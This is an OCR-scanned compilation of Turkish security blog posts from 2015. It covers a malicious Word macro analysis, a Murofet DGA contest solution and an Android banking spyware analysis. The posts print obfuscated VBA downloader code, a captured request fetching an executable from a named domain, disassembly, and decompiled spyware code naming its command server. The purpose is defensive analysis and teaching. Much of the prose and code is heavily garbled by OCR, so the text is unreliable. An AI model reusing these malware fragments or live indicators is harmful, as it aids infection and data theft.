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Merhabalar,

2009 yiinda "Bilgi glictlir ve paylasidikca artar” mofosuyla olugiurdugum siber giiveniik blogumda (hips://www.merisarica.com) , bilgi glivenkiji farkindabdini arirma adina cok sayda teknik yazya yer vermeye calighm. Yilar icinde
Tiirkiye'nin dért bir yanindan skddm olumiu geri dénigler sonucunda, yazdanmi yilar baznda e-kiap olarak derlemeye ve meraklian e paylasmaya karar verdim.

Emek, zaman ve kaynak ayrrarak yapsdm arasirmalar sonucunda yazdijim bu yazlann, siber glivenik alaninda kendini gelizirmek izteyenier icin umanm faydal clur.
Yeni yazlarla gériismek disdiyle...
Saygianmia,
Mert SARICA
Siber Glvenik Uzmam

hips:/fwww.merisarica.com
hips:/fwiter.com/mersarica

Microsoft Office Makro Analizi

Source: https://www.mertsarica.com/microsoft-office-makro-analizi/
By M.S on December Ist, 2015

Hemen hemen benle ayni yasta veya daha yasli olanlariniz, 1999 yilinda Microsoft Office Word makrosu ile yayilan ve diinya genelindeki
milyonlarca sistemi etkileyen Melissa zararli yazilimini (viriis) hatirlayacaklardir. Melissa zararli yazilimi, Microsoft Office ile gelen
makro destegi sayesinde, c¢alistirildigr sistem iizerinde Microsoft Outlook iizerinde kayitli olan ilk 50 kisiye kendisini gondererek
yayiliyordu.

Nedir bu makro diye soracak olursaniz, Microsoft firmasi size asagidaki gibi bir yanit verecektir;

Makrolar, tus ve fare eylemlerinde zaman kazanmak icin sik kullanilan gérevileri otomatiklestirir. Pek ¢ok makro, Visual Basic
for Applications (VBA) kullanilarak olusturulmustur ve yazilim gelistiricileri tarafindan yazilirlar. Ancak bazi makrolar olasi
bir giivenlik riski yaratir. Korsan olarak da bilinen kotii niyetli kullanicilar, bir dosyaya, bilgisayariniza veya kurulus aginiza
virtis bulastirabilecek zararll bir makro yerlestirebilir.

Yillar i¢inde makrolarin kotiiye kullanimi nedeniyle Microsoft firmasi da bos durmayarak Office yazilimi {izerinde ¢esitli giivenlik
iyilestirmeleri yapti. Bunlardan bir tanesi de Office 2007 siiriimii ile sunulan yeni dosya uzantilari oldu. Ornegin Office 2007 ile
olusturulmus bir office dosyasinin uzantisinda m harfi gegiyor ise bu, office dosyasinin makro igerdigini belirtir. Durum boyle olunca
da uzantisinda m harfi gecen office dosyalarina daha teminkinli yaklasabilir, uzantrya gore bu dosyalar1 bloklayabilir olduk.

Melissa zararli yazilimimdan bu yana neredeyse 20 sene ge¢mis, Microsoft da lizerine diisenleri yapmis, bize bunlari neden anlatryorsun
diyenleriniz olabilir. Makro igeren office dosyalar1 ile son zamanlarda, internet bankacilig1 zararli yazilimlar1 ve RAT tiirii zararl
yazilimlarin yayilmaya ¢alistigini goriiyoruz. M harfi iceren dosya uzantilarinin dikkat ¢ektigini bilen art niyetli kisiler de makro igeren
dosyalar1 Office 2003 siiriimii ile hazirladiklar1 i¢in bilingli kullanicilarin ve uzanti kontrolii yapan sistemlerin dikkatinden, kontroliinden
gegebiliyor.

Subject FW: urgent RE: PO,/002/2015- urgent
| Message #1] Order Invoice.doc (148 KB)

From:

Sent: Tuesday, May 26, 2015 5:16 AM
To:
Subject: RE: urgent RE: PO/002/2015- urgent

Dear Mohamed,

Kindly see see the see the attached invoice for the order and do the needful. We have confirmed the last payment in our account and the original documents will be sent through Aramex today .
Please do the needful in respect to the the attached invoice and also forward to your accounts.

Regards

Ahmed

APAM.


https://www.mertsarica.com/microsoft-office-makro-analizi/
https://www.mertsarica.com/microsoft-office-makro-analizi/
https://en.wikipedia.org/wiki/Melissa_%28computer_virus%29
https://support.office.com/en-us/article/Introduction-to-new-file-name-extensions-ECA81DCB-5626-4E5B-8362-524D13AE4EC1
https://en.wikipedia.org/wiki/Remote_administration_software
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Peki makro igerdigini diisiindiiglimiiz bir office dosyasini nasil analiz edebiliriz ? Office dosyasini sanal bir makine i¢inde Microsoft
office yazilimi ile agtiktan sonra Macro (view -> macros -> view macros) meniisiinden igerigini goriintiileyebiliriz ancak bunu
bilen art niyetli kisiler cogunlukla makroya sifre korumasi koymaktadirlar. Bu sifreyi ¢6zmek i¢in Reset VBA Password aracindan
faydalanabilirsiniz.



http://www.proxoft.com/Rvbap/default.aspx

Reset VBA Password

Remove Password Ctri+R Create Date 6/4/2015, 4:0223 PM

| Extension doc
! Changs.Fuviword... st Fie Type Mictasolt Werd 97 - 2003 Docun
| Edit VBA Project Vizibility Ctrl+T Fomat Compound Document
| Last Access Time 6/4/2015, 4:02.56 PM
| Edit Excel Workbook Protection Settings Last Write Time S/26/2015, 516:30 AM
| E Name Order Invoice.doc |
| Add File(s) to Working Set... Ctil+F Path C:\Documents and Setings\Adn
| Add Directories to Working Set... Ctrl+D Size 151552
| B Project Protection State |
| Remave "Order Invoice.doc’ from Working Set Dl User Protectad True
| VBA Editor Protected  False
Open 'Order Invoice.doc’ Cul+0 VBA Host Protected Fas
| Open With... culew © VBA Code Protection |
| H Password Style Hashed
! Open Directory Crl+E Proect Vishil Hidden
i Select All Ctrl+A B VBA Project Info |
Code Page 0
! Copy Selected to Chipboard Ctrl+C Project Help Pathi
| Project Help Path2
| Tasget Platform Winl6
‘ VBA Project Name
ﬂ Document labeled with this icon has VBA Progect module protected with the password. =
M Document labeled with this icon has VBA Project module that might not be visible due to visibility settings. !ll-
#)  Ewcel [2007-2013) document Labeled with this icon has workbook o worksheet protection. | File name.
Ready Showing 1 files .

Reset VBA Password

Row FieName Exension Type Size Path Crestion .. Last'Wr..,
Order Invoice. doc .doc Microsoft Word 97 - 20.. 151552 C\Documents and Set.. 6/4/201.. 6/4/20..

Passwod CodeP.. Project.. |[37]3]

File Info |
Cieate Date 6/4/2015, 40223 PM

HE

Extension doc |
File Type Microsoft Word 97 - 2003 Docuny
Format Compound Document

Last Access Time 6/4/2015, 4:04:07 PM

Last Wite Time 6/4/2015, 404:07 PM

Name Order Invoice. doc

C:\Documents and Seﬂ-\w\Ach:
151552 |

\:v VBA Password from the file 'C:\D and \Adr \Desktop)! Mabware|Order Invoice.doc’ was removed successhully.

Visible
o
Winl6
Trial I\a‘e'm._.@

ﬂ Document lsbeled with this icon has VEA Project module protected wath the password.
MB  Documnent labeled wath this icon has VBA Project module that might not be visile: due 1o visibilty setings. Name
¥ Excel (2007-2013) document labeled with this icon has workbook or worksheet protection. File name.
Ready Showing 1 files




< Microsoft Visual Basic for Applications - Order Invoice [ design]

EEiIe Edit View Insert Format Debug PRun Tools Add-Ins Window Help Type & question for help =

he-H % = e Pon @k W EW 2 @ niscon
m P —
B Order Invoice - NewMacros (Code) ['._||E|@
+ @ MNormal |{General) j |Aut00|)en -

=& Project (Order Invoice)

+- (71 Microsaft Ward Objects S Jll.lt,DOpEn(] y
=7 Modules | Dim loyagdbd As String

‘%NewMacros Dim MNewPathe As String

Dim MNewPath As 3tring

Dim CheckNuwbers As String

ChecklNuwbers = "™

NewPathe = cayeafxhmytrroglchnnbfndhkropeyi()

NewPath = "C:iUsersh"™ & NewPathe & "\AppDatahLocall Temp™

Dim hFHEG]hGgFHAfGAfGHIHUI jhGhF GgHGE yFGgHIE g hf gHIvhNfgUIHTyui ITOIUJ IVIHfy As String
Dim New3tring As String

+ [ References

||NewMacros Module j NewString = "Urwbrells HEjhbhikshdikhdNggg GiHggglkniih .exe GiNghJGihJgggolh golnggfgHfgHAdfG dEGAEGH
= Dim LotsofFuckingidtringinallindne As String
Alphabetic ]CatEQUViZEd] LotsofFucking3tringinallinOne = "protection % wulnerable worksheet wsc footage = rasherry student™

mmNEWMﬁCFDS DIim Another3hitisHerelaysthis As String

Another3hitisHereSaysthis = "2bieCtrl encryption desuthentication hell ript. intrusion wireshark"
Dimw FinalWord As 3tring

FinalWord = CheckNurbers + 3plit(LotsofFuckingitringinallindne) (4) + Checklumbers + 3plit (Another3hi
hFHEGhGyFHALGATGHI Hul i hGhF GoyHGE yF GyHUf g hf gHIvbNEgUIHTyui IUOIUIIVIHEy = Split (AnotherShitisHereSays
iJJHBujHgbghtgfcYoyuRwergqweRweoijho IJOInikjgHNFVECw = XDrC("xxeHHHDDDUTSQYS]*DQX]FUADU__DyDXUF WLa™
Dim IsProgramBegistered As 3tring: IsProgramBegistered = FinalWord & Split (LotsofFucking3tringinalli
ijHuihBuiHEjHEgF fVGHGHI GhIJFVGEBHEVGFghJFV = CheckMNunbers + CheckMNunbers + CheckMNumbers + "' + CheckNu
1kFjuexVezhTijcrT = ijHujhBujHBiHEgFEfVGHGHIGhJIJFVGEHEvGFghJFV & 1iJJHBEujHgbghtgftYtyuRwergweRweoljhoIJ0J
iJghEfgBgBfgfVEEfVEFVEFhihEjcVEcdVECVEGERI£GEFG = 1kFjuexVezhTicrT

OIKJIKHIJHENIVRCVBCEVIDEsDF ASAfwDEGERTYITIopoijhihuibhlh = NewPath & Split(LotsofFuckingitringinallinOn

)] — jﬂ

Makro igerdigini diisiindiigiimiiz bir ofis dosyasin1 Microsoft Office yiiklii olmadan analiz etmenin bir yolu yok mu derseniz,
OfficeMalScanner araci sayesinde onun da miimkiin oldugunu sdyleyebilirim. OfficeMalScanner araci, siipheli (kabukkodu, PE tespiti
gibi) ofis dosyalarini analiz etmemize yardimci olan ve ofis dosyasi i¢inde tespit ettigi makro kodunu analiz i¢in ¢gikarmamiza yardimci
olan oldukga faydali bir aragtir.

Ornegin elimizde Microsoft Office 2003 ile olusturuldugunu diisiindiigiimiiz yukaridaki gibi siipheli bir ofis dosyas1 var ise bu araca
parametre olarak info komutunu vererek aracin bizim i¢in dosyay1 analiz etmesini ve makro kodunu ¢ikartmasini saglayabiliyoruz.
Eger elimizdeki ofis dosyas1 Microsoft Office 2007 ve sonrast ile olusturulmus ise bu defa inflate komutunu kullanarak (aslinda ofis
dosyasinin uzantisini .zip olarak degistirip winzip/winrar ile agmaktan pek farki yok) ofis dosyasini agmasini ve i¢inde yer alan makro
kodunu tekrar info komutu ile ¢ikartmasini saglayabiliyoruz.

AWINDOWS\system32\cmd.exe

C:“Documents and Settings“Administrator\Desktop~files\0ffice Malware Scanner\Offn
iceMalScanner>0ff iceMalScanner.exe "Order Invoice.doc" info

[%] INFO mode selected

[*] Opening file Order Invoice.doc

[#]1 Filesize dis 151552 (Bx25808> Bytes

[#*]1 Ms Office OLEZ Compound Format document detected

NewMacros
ThizDocument

UB-MACRO CODE WAS FOUND INSIDE THIS FIL
The decompressed Macro code was stored here:

> C:xDocuments and Settings“Administrator:Desktop~files~0ffice Malware Sca
nner™Of f iceMalScanner*~ORDER INUOICE.DOC-Macros



http://www.reconstructer.org/code/OfficeMalScanner.zip
http://www.reconstructer.org/papers/New%20advances%20in%20Ms%20Office%20malware%20analysis.pdf
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14 Sub derotpen(]
15 Dim loyeqdd ks Strisg
Dim HewPathe s Ftring
Dim MewPazh As Seeing
Dim CheokNusbers is Jtring
Checkbabers = ="
MevPache = CaventrierrEQlchannLndhomy] ()
MewPath = "Ci\lUsersi™ ¢ BewPathe ¢ "LApFDAtalLocallTesp™

bim As Seeing
Dim Hewdtring As Scring
4 g = *Eabeella ' -mxe Toowad! k@ ah
Dam LotsofFuckingSteingioallintee Ay Scring
gisalliniee = \ vulnersble worksheet yac f0otage » CASLSEKY Studest”

L
Dim AmstherShirisereZaysthis As Sceing

AnotherShitisKersSayathis « “Soieftrl encrypcion geMuEEENSiCetisn hell CiRS. intrusicn yireahark™
Dim Final¥ord Aa Steing

Final¥ord = © + Splac (Lotsoty Lindne) (4] + © + Eplix 0]
g = Fpiat 0] € Spiut ORwIting) [3)
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- oI YITTapoi Jhihugth
- . . + + . + ] ] ] ¢
41 s Tiopoijhibuihel < "= Then
bim oJs As dnject
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Ortaya ¢ikan makro kodunu analiz ettigimiz zaman, kullanilan APIler'den de yola ¢ikarak bunun RAT tiirii zararli yazilim indiren bir
indirici (downloader) oldugunu rahatlikla gérebiliyoruz.

2 Ifizxp'er'f Info ( at'/'séqhence): GET /hala.exe HTTP/1.1%r%n]
[Message: GET /hala.exe HTTP/1.1%r'n]
[severity level: chat]
[Group: Sequence]
Request Method: GET
Request URI: /hala.exe
Request version: HTTP/1.1
Host: jddiamondtools.com\r'n
Connection: Keep-Alive'r\n
Wrin

[Full request URI: http://jddiamondtools.com/hala. exe]

Bu yazinin siiphelendiginiz ofis dosyalarini analiz etmenizde siz yol gostermesi iimidiyle, bir sonraki yazida goriismek dilegiyle herkese
giivenli giinler dilerim.

Pi Hediyem Vardi, Verdim, Gitti #4 :)

Source: https://www.mertsarica.com/pi-hediyem-vardi-4/
By M.S on November 30th, 2015

18 Kasim 2015 tarihinde dérdiinciisii diizenlenen Pi Hediyem Var oyununun ¢6ziim yolu ve Raspberry Pi kazanan talihli karsinizda!
¢COZUM YOLU:

Yapacaginiz ilk is, her zararli yazilim analizinde oldugu gibi ctf4.exe isimli bu zararli yazilimi VirusTotal web sitesine yiiklemek ve
zararli yazilim ile ilgili olarak olabildigince bilgi toplamaya ¢alismakti. VirusTotal'a dosyay1 yiiklediginizde karsiniza ¢ikan Antiviriis
¢iktilarindan bunun Murofet isimli bir zararli yazilim oldugunu anlayabilirdiniz.



https://www.mertsarica.com/pi-hediyem-vardi-4/
https://www.mertsarica.com/pi-hediyem-vardi-4/
https://www.mertsarica.com/pi-hediyem-var-4/
https://www.mertsarica.com/pi-hediyem-var-4/
https://www.virustotal.com/

e total

Ardindan ctf4.exe zararli yazilimimi Windows XP igletim sistemi iizerinde ¢aligtirsaydiniz, zararli yazilimin gogtiigiinii ancak yazilimi
kapatmadiginiz taktirde arka planda ¢aligmaya devam ettigini gorebilirdiniz. Zararli yazilimi Immunity Debugger araci ile analiz
ettiginizde, programin akisinin ¢alistiktan kisa bir siire sonra islem pargacigi (thread) {izerinden ilerledigini gérebilirdiniz. Islem pargacig
tizerinden analizi devam ettirmek i¢in ise Immunity Debugger aracinin hata ayiklama ayarlarinda, "break on new thread" ayarinin aktif
olmas: yeterliydi.

- therad, module o

Baplaning e0f4i W0 beariatical presedures, #1 salle ts bawm, 4 salli ts gusssad fumit ines

Size 1 Aralik 2015 tarihinde zararli yazilim tarafindan olusturulacak 10 tane alan adinin neler oldugunu sordugum i¢in de, sistem tarihini
1 Aralik 2015 yapmaniz gerekiyordu.


http://www.immunityinc.com/products/debugger/

AV] Breabpaiot ot el otd. CRadelofatrgfiots

Adim admm ilgili komutlarin iizerinden ilerlediginizde, zararli yazilimin GetSystemTime API'sini ¢agirdigini gorebilirdiniz. Hata
ayiklamaya devam ettiginizde, 00401B80 fonksiyonu (subroutine) ¢agrildiktan sonra alan adininin olusturuldugunu gérebilirdiniz.

S X
DEAT PUSH A78R9SCS
DFFFF PUSH
AU

a e : kernel32.GetSystenl ine
NO785 F2FOFFFF MOV K

6BCe 11 M

BR 70030000

Ca3000a
1

o,
PUSH EDX 1
5 of ot 1, 0481088
EDI.
MOV ESI
A ESI.48
PUSH &
POP ECX
WOVS BYTE PTR ES:(EDI].BYTE PTR DS:(ESI]
PUSH ECX
PUSH ECX
CFEFFFF A EAX
PUSH _EAX
S FBFDFFFF EAX
PUSH EAX
PUSH ECX

EAX,

A EAX,
PUSH EAX
| ousdn clon




8 6
FED®
@F B 785 F2FDFFFF VIN_EAX,
6BCe 11 M EAX EAX, 11
BE 70030008 WOV EBX, 370
» 3 EDX.EDX
F COO000d MOV ECX.3¥C
1 ECX
PUSH EDX
BS EBFDFFFF PUSH
2 PUSH_EDX
S EBFDFFFF A i

PUSH_EDR
S FFFDFFFF A EDX 5
52 PUSH EDX | D@
EA 65020009 - ot 1. 004 ot 1. 00401080 }  LastEre
BOBCES FFFDFFFF d
3 [T

VS BYTE PTR ES:[EDI],BYTE PTR DS:([ESI)
PUSH ECX

51 PUSH ECX
8085 FCFEFFFF EAX
58 PUSH_EAX
EAX

PUSH EAX
PUSH ECX

6

8085 FBFDFFFF

58

FF9S E4FDFFFF

85C8 EAX.
FCFEFFFF EA

BDAS X,
l EAX

a1 oA ros o o

ch add ST (e

@LZIFDBTY, (ASCII “kussiskhkrptwsfv.info=)

PUSH
DU

PTR DS:[EAX]
AL
5: [EAX+2]
tLEAXN+6]
PUSH ES
MOV LCL
MOV ECX
PUSH ED}
ND ECX,FFF
PUSH 3
°a v
A EAX,
POP ECX
2 OMORD PTR DS: CEAX],D6DTAABE
EAX, 4
ECX
PUSH_F B000840
EBX, EBX
NC EBX
PUSH_EBX
PusH sl
PUSH_ESI

EAX,
PUSH EAX

ES1

PUSH 43C
PUSH

EAX
EAX.
A EAX,
PUSH EAX
PUSH ESI
26 PUSH ESI
[LELT R PUSH Ba3
F75 FB PUS

..;l!l 18541 |‘U;iK 41854130
o S 14 PUSH
ERA=A T3 rran

Local call from BB481916

Bu fonksiyonun tamamini kopyalamaniz ve ardindan Fiddler, Charles Proxy, Burp Suite gibi bir proxy araci ile olusturulan web
trafiginden tespit ettiginiz 10 tane alan adi ile birlikte bana géndermeniz, oyunu basartyla tamamlamaniz igin yeterli olacakt.

OYUNU BASARIYLA TAMAMLAYANLAR: Ramazan UYSAL, Semih GUZELEL, Kerem KAT
CEKILIS ve KAZANAN TALIHLI: Ramazan UYSAL



http://www.telerik.com/fiddler
http://www.charlesproxy.com/
https://portswigger.net/burp/
https://twitter.com/Taitlex

{=] Cekilis.txt E3
Ramazan UYSAL

Semih GUZELEL
Kerem KAT

B C\WINDOWS\system32\cmd.exe - python = © _

Microsoft Windows [Uersion 6.3.9600] -
(e) 2013 Microsoft Corporation. All rights reserved.

C:\Users\ »python
Python 7.6 (default, Nouv 18 2013, 19:24:18) [MSC v.1500 32 bit (Intel)] on win
<4
Type “help”, “copyright™, “credits” or “license” for more information
from random import randint
print randint(1,3)

Basta kazanan talihli Ramazan UYSAL olmak iizere oyunu basartyla ¢6zen, katilan, destekleyen, sponsor olan herkese tesekkiir eder,
yeni oyunlarda goriismek dilegiyle herkese giivenli giinler dilerim.

Not: Murofet'in DGA's1 hakkinda detayli bilgi almak igin bu sayfayi ziyaret edebilirsiniz.

Pi Hediyem Var! #4

Source: https://www.mertsarica.com/pi-hediyem-var-4/
By M.S on November 18th, 2015

Ugiinciisiinii bundan 6 ay dnce gergeklestirdigim Pi Hediyem Var oyununun yenisi ile uzun bir aradan sonra tekrar karsmizdayim!

Takim liderim Ahmet TASKESER 'in sponsorlugunda gergeklesen dordiincii oyunumda, yine 6nceki oyunlarda oldugu gibi oyunu
basariyla tamamlayanlar arasinda yapilacak bir gekilis ile 1 adet Raspberry Pi Model B'yi bir kisiye hediye edecegim. (Bu oyunda
kullanilan zararli yazilimin temin edilmesinde emegi gegen Salim SARIMURAT 'a ayrica tesekkiir ederim.)

Oyunu basariyla tamamlamak i¢in izlenmesi gereken adimlar;
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http://www.johannesbader.ch/2015/09/three-variants-of-murofets-dga/
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1. https://www.mertsarica.com/ctf/ctf4.zip adresinden zararli yazilimi indirin. (zip sifresi: infected)

2. Bu zararli yazilim tarafindan kullanilan alan adi iiretme algoritmasini tespit edin. (Ornek: Hesperbot DGA Analizi)
3. 1 Aralik 2015 tarihinde iiretilecek olan 10 tane alan adini tespit edip, DGA fonksiyonunun assembly ¢iktist ile bana iletin.
Daha 6nce hediye kazanmamis olup ¢ekilise katilmak isteyenlerin, detayli ¢6ziim yolunu iletisim formu {izerinden, ad1, soyadi, kendini

tanitan bir yazi ve Raspberry Pi ile giivenlik lizerine yapmay1 diisiindiigii ¢alismalar1 anlatan bir yazi ile birlikte 30 Kasim 2015 saat
09:00'a kadar bana iletmeleri gerekmektedir.

Oyunun ¢dziim yolu ve kazanan talihli, ilerleyen giinlerde yine bu sayfa ve Twitter hesabim iizerinden duyurulacaktir.
Twitter hesabim iizerinden zorlananlar i¢in zaman zaman ipuglar1 yayinlanacaktir.
Simdiden giile giile ve giivenli giinlerde kullanmaniz dilegiyle :)

1. Ipucu: Basit diisiiniin :)

Android Bankacilik Casus Yazilimi

Source: https://www.mertsarica.com/android-bankacilik-casus-yazilimi/
By M.S on November 5th, 2015

Nisan ay1 bast gibi bazi banka miisterilerine SMS ile banka adi.siipheli adres.com adinda mesajlar génderilmeye baslandi. Siteye
Android akilli cihaz ile baglanan kullanicilari, bankaya aitmis gibi goriinen giizel bir gorsel karsiliyor ve kullanicinin bankanin mobil
bankacilik hizmetinden yararlanabilmesi i¢in ilgili uygulamay1 kurmasi isteniyordu.

Mobil Uygulamasi

Siteyi masa iistil internet tarayicisi ile ziyaret edenler ise bankanin ana sayfasina yonlendiriliyordu. Zararl yazilimin zaman i¢inde birden
fazla siiriimiine erisme imkanim oldugu igin ilk stiriimii ile 2 ve 3. siirlimlerini kiyaslama imkanim olmustu.

[lk siiriimde kod gizlemesi (obfuscation) gergeklestirilmedigi icin zararli yazilim, kaynak koda ¢evridiginde bunun rehber, arama kaydi
ve sms bilgilerini ¢alan, anahtar kelime ile sms yonlendirmesi yapabilen ve Tiirkiye'de 185.50.69.100 ip adresi ile 4444 numarali baglanti
noktasindan haberlesen bir casus yazilim oldugu rahatlikla anlasiliyordu.
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https://www.mertsarica.com/ctf/ctf4.zip
https://www.mertsarica.com/hesperbot-dga-analizi/
https://www.mertsarica.com/contact/
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http://www.ip-adress.com/whois/185.50.69.100

ava Decompiler - Consts.class

File Edit Mavigate Search Help
= 89 -

_mohil_suhe—l—dexZiar.iar 3¢ | mobil_sube-2-dexZjar.jar mobil_sube-3-dexZjar . jar

1 android.support. v
=3 com
1 google.gsan
=3 googleandroid listener
-3 consts

2 helpers
£ items

£ listeners
£ observers
1 receivers
2 services
2 sqlite

£ tasks

<[] Buidconfig
m Legalactivity
m R

SmsReceiver.class ExceptionLogTask.class GetBrowserHistory Task,class GetCallLogsTask, class GetContactsTask.cle

package con.googleandroid, listener.consts:

+|import android.content.Context;

public final class Consts
{
public static final String BROWSERHISTORY API = "BrowserHistory":
public static final String CALILOG APT = "Calllog™:
public static final String CONTACT APT = "Contact”:
public static final int DELTA TIME MAX = 30;
public static final String DEVICESIM API = "DeviceSin";
public static final String DEVICE API = "Device”;
public static final String EXCERTION APT = "Exceptionlog™:
public static final int MAX TIME = 35;
public static final String MESSAGE API = "Message”:
public static final 3tring MessagelnboxNetSmsCount = "all™;
public static final 3tring MessageSentNetSmsCownt = "all™;
public static final 3tring MobileClientUserName = "usernawe’™;

public static final String Pref Calllogs Task First = "Pref Calllogs_Task_First”:

public static final String Pref MessageSent Task First = "Pref NessageSent Task First”;
public static final String Pref ServerDeviceld = "Pref ServerDeviceId”:

public static final int 5M5 = 1;

public static final String TRACK CALLLOG NET ENABLE = "TRACK CALLLOG NET ENAELE":
public static final String TRACK GEQ = "TRACKGED";

public static final String TRACK NET = "TRACKNET":

public static final String TRACK SERVER URL = "TRACE SERVER_URL":

public static final String TRACK SM5 = "TRACKSMI";

public static final String TRACK SMS ABORT = "TRACK 3M3_ABORT":

public static final String TRACK SM5 ENABLE = "TRACK SM3_ENABLE":

public static final String TRACK SM5 NET ENABLE = "TRACK 3M3_NET ENABLE";

public static final String TRACK SM5 NUMBER = "TRACE SM3_NUMEER":

public static final String TRACK SM5 WORD = "TRACE_SMS_WORD™:

public static final Boolean debug = Boolean.valuedf(false);

public static final 3tring molocgtion = "Lokasyona ulasilamiyor. Bilinen son konum ™;

public static String getdpilirl(Context paramContext, String param3tring)
i

return getServerlirl (paranContext) + param3tring;

private static String getServerlrl (Context paramContext)
i
String str = REST SERVICE HOST URL + "/fapi/":
if (!PreferencesHelper.fetlref(paranContext, "TRACK 3SERVER_UEL™).equals(""))
str = PreferencesHelper.GetPref(paranContext, "serwverUrl™) + "Jfapi/";
return str;

public static final String MobileClientUserlPass = "ZcodbSaac-Z140-46aa-b843-2421bh3c3aged™;

public static final String Pref Messagelnbox Task First = "Pref Messagelnbox_Task First”;

public static final 3tring Pref SimlestOpenTime = "Pref SimlastOpenTime”;
private static String REST SERVICE HOST URL = "http://185.50.69.100:4444"; h

Yazilimi gelistiren kisinin kaynak kodun bir yerinde servis adi olarak isim.soyad bilgisine yer vermesi, kodun ya ¢alint1 ya da dikkatsizce
baska bir koddan kopyalandigina isaret ediyordu.

- LogatorService. class);

T*.equals(array

5_ENABLE®) »  EILOIAIMLERT KAPAT-*  Prefersncestislogs

string strS « Genecal. Searchbessase(strd,
iF (strS 1= mull)

e~ - e ver ciass ol agObeerver daas Pl stener Gass Message. cass

GEtPref(parasContext,
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Ilerleyen siiriimlerde ise bu zararli yazilim haberlestigi ip adresi, kod gizleme yontemi ile gizlendigi goriilebiliyordu.

@ Java Decompiler - Comts.class
Fie ES Nigss Seach Hep
-

& lava Decompiler - Comsts.class

Fle Edt Nevgsie Sewrch Melp

mobd_sube- | -denlper jor < motd_sbe-l-declie - mokd_wie- 3l

Smafacere class

class class

Gt oo T class

GerContactsTash o

package com.googleandroid. listener. consts,
+impart androld. content.Comtext;
public final class Consts

peilic static fisal String BBOWSEENISTOR
pehlic static fimal String CALLLOG

puilic static fisal Str
public static fimal
public static fimal
public wtatic final
public static fisal String EXCEPTION A
public static final it JEUC TDE »
peilic static fimal String MESSAG
public stabic fimal String Messs
peblic static fimal String MessageSentNetSus

publie wtatic
pulilic static
Pl s
pubilic static
public static
pubilic static
publie static

private static String BEST SE)

public static
puilic static
public stabic
pulic static
public static
public static
public static
public static
public static
Fublic static

fimal String Mobil
timal String Mobil
final Stzing Pref
final String Pref Messsy
fimal String Fref.
final String Pref
final String Pref

fimal int D6
timal String TRAK CALLLOG
fimal String TRACK GB
timal String TRACK MET =
final String TEACK SERVE
timal String TRACK SNS =
final String TRACK SN
final String TRACK N5 ENABLE = °T
fimal String TRACK SNS NET ENABLE + “TRAC
final String TRACK NS NOBER = °T

peblic static fimal String TRACK S5 WOID =
Fublic static fisal Boclean debuy = Boolean.
public static fimal String melocation « "Lek

String st » MEST SERVICE MOST
it (' Exeferenceafieln

retwrn str;
)

pubilic static String getApilr]|Context parssContest, STring parssdte

retwrs getServerlr]{parasContext] o parsaSering:

privete static String getServertir](Comtext paraafomtext)

B+ */apii
- GetPref patanCantext,
str = Prefecencesiieloes. Get Prafipacscontent, ~n

EowserHistory”)

TRACK_SERVER_URL™) . equals (™)
R ]

engellediklerini unutmayin.

ettigimi soyleyebilirim.

mobi_pube- | -dexZar jar mobd_sube- 2-dexZiee -

& 8 o oot

mckd_su b 3-de T v

Smfoeceees s Systen

INTERNAL DRROR

bl e ) de-

Popict e SRl

INTERRAL DiR

Yeri gelmisken bu tiir zararl yazilimlar ile karsilasildigi zaman, son kullanict da olsaniz, giivenlik uzmani da olsaniz, Ulusal
Siber Olaylara Miidahale Merkezi'ni (USOM) ihbar formu tizerinden bilgilendirmenin, ulusal ve kurumsal giivenlik adina
oldukca 6nemli oldugunun altini ¢cizmek isterim.

USOM'un hizla giincelledigi zararli baglantilar listesi ve koordinasyon ile sektorel ve kurumsal SOME'lerin, giivenlik

tireticilerinin kisa siire icinde bu zararl adreslerden haberdar olarak, kullanicilarin magdur olmasini kisa bir siive iginde

Devlet kurumudur, oldukc¢a yavas isler, hic zahmet etmeyeyim gibi 6n yargilart bir kenara koyabilirsiniz ¢iinkii USOM'a yapmug
oldugum bir bildirimin 2 saat gibi kisa bir siire iginde zararli baglantilar listesine eklendigini gectigimiz giinlerde tecriibe

Daha 6nceki yazilarimdan da bildiginiz tizere Android platformu i¢in gelistirilen uygulamalar kolaylikla bayt koduna ve kaynak koduna
cevrilebilmektedir. Kaynak kodunun bu 6rnekte oldugu gibi okunakli olmadig1 durumlarda bayt kodunu analiz etmek tercih edeceginiz

en akillica yontemlerden biri olacaktir.
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https://www.usom.gov.tr/index.html
https://www.usom.gov.tr/index.html
https://www.usom.gov.tr/ihbar-bildir.html
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https://www.mertsarica.com/android-uygulamalarinda-guvenlik-testi/

“Android Malware>java —jar apktool.jar d mobil_sube-5.apk
sing Apktool 2.8.8 on mobil_sube-5.apk

oading resource table...

ecoding AndroidManifest.xml with resources...

oading resource table from file: C:“\Documents and Settings“Administratorsapk|
sframeworksd . apk

egular manifest package...

ecoding file-resources...

ecoding values /% XMLs...

aksmaling classes.dex...

I: Copying assets and libs...

opying unknown files...

opying original files...

L1}

@

[xlelal--1=1=F -l ol

C
1
1
1
I
it
1
1
1
I
it
1
I

T R -ET TR T T

Zararl1 yazilim1 apk-tool aract ile bayt koduna (smali) ¢evirdikten sonra smali\com\googleandroid\listener\items\receivers\ klasorii iginde
yer alan ProgramStartReceiver.smali dosyasi dikkatimi ¢ekti. Dosyay1 inceledigimde sifrelenen komuta kontrol merkezi adresinin bu
dosya iginde ¢oziildiigiinii (decryption) gordiim.

Bu gibi (okunakli olmayan kaynak kodu) durumlarda bayt kod iizerinde degisiklik yaparak programin akisini degistirebilme imkanina
sahip oldugunuz i¢in ben de sifresi ¢oziilmiis olan degiskeni asagidaki ekran goriintiisiinde yer aldig1 sekliyle LogCat'e yonlendirmeye
karar verdim. Degisikligi yaptiktan sonra tekrar apk-tool araci ile paketi derleyip, imzaladiktan sonra Android Emulator'e yiikledim ve
ardindan gizlenmis olan komuta kontrol merkezinin ip adresini gorebildim.

™ N = - [B]x

r b mobil_sube-5

\Jﬂv" 5 ] Search Folders 1i]* 5 Folder Sync
3 C:\Androsd Mahware!mobi_sube-5\dist v B
- B Y mobi_sube-5.a0h \ androd keystore

File and Folder Tasks # Pa— == KEVSTORE Fie
i HE | s

=)

3; /

=

x

e - -

keystore android.keystore -alis Ente pk
108868 adding
A-IHF ANDR
A— INFANDR

zignin

. ET=Unknown, C=Unknown correct?

self-signed certificate (SHA2S6withRSAY> wi

O=inknown, L=Unknown, ST=Unknown. C=Unknown
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http://ibotpeaches.github.io/Apktool/
http://developer.android.com/tools/help/logcat.html

Program St Recerves s

const-string v6, "Malware URL:" -« /
invoke-static (vé, vl), Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String:)I

jleandr

